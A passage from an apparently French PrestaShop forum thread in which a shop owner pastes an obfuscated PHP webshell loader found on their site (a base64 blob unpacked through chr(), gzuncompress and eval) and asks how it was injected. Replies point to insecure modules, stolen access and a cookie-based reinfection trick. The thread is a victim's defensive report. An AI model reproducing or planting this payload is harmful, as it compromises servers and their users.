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'); define('d23127c18',chr(101).chr(118).chr(97).chr(108).chr(40).chr(103).chr(122).chr(117).chr(110).chr(99).chr(111).chr(109).chr(112).chr(114).chr(101).chr(115).chr(115).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(99).chr(56).chr(56).chr(101).chr(50).chr(51).chr(51).chr(52).chr(100).chr(54).chr(56).chr(48).chr(100).chr(57).chr(53).chr(52).chr(56).chr(41).chr(41).chr(41).chr(59)); eval(d23127c18); c'est une attaque de type webshell qui une fois évalué fait 7000 lignes de code qui ressemble un peu a celui la https://github.com/cr1f/P.A.S.-Fork/tree/main on peut voir le contenu injecté ici https://onlinephp.io/c/d42d4 en cliquant sur "executer le code" j'ai fait le clean de ces fichiers et je suis en train de faire la mise a jour de mon prestashop et j'essaie de fair le clean des modules inutilisés j'espere que cela permettera de bloquer cette faille je suis tres curieux de savoir comment ils ont réussi a injecter ce webshell si vous avez des pistes et Link to comment Share on other sites More sharing options...
Eolia Posted February 22 Share Posted February 22 Soit par un module mal sécurisé, soit en ayant récupéré des accès (employé, Panel hébergeur, FileZilla) Link to comment Share on other sites More sharing options...
doekia Posted February 22 Share Posted February 22 Je ne saurais trop rappeler certains principes fondamentaux en terme de sécurité. Non pas dire que ce ne serait pas ce que vous avez fait mais pour rappeler certaines règles qui sont souvent méconnues et s'avèrent un vecteur majeur de faille sur le long terme. https://tweet.phenixsuite.com/thread/501 Link to comment Share on other sites More sharing options...
doekia Posted February 22 Share Posted February 22 Sinon le code essaie ici tout simplement de transformer le contenu d'un cookie en contenu d'un fichier, c'est assez malin car il n'y a après 1er infection plus besoin de faire de POST pour injecter un payload. Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now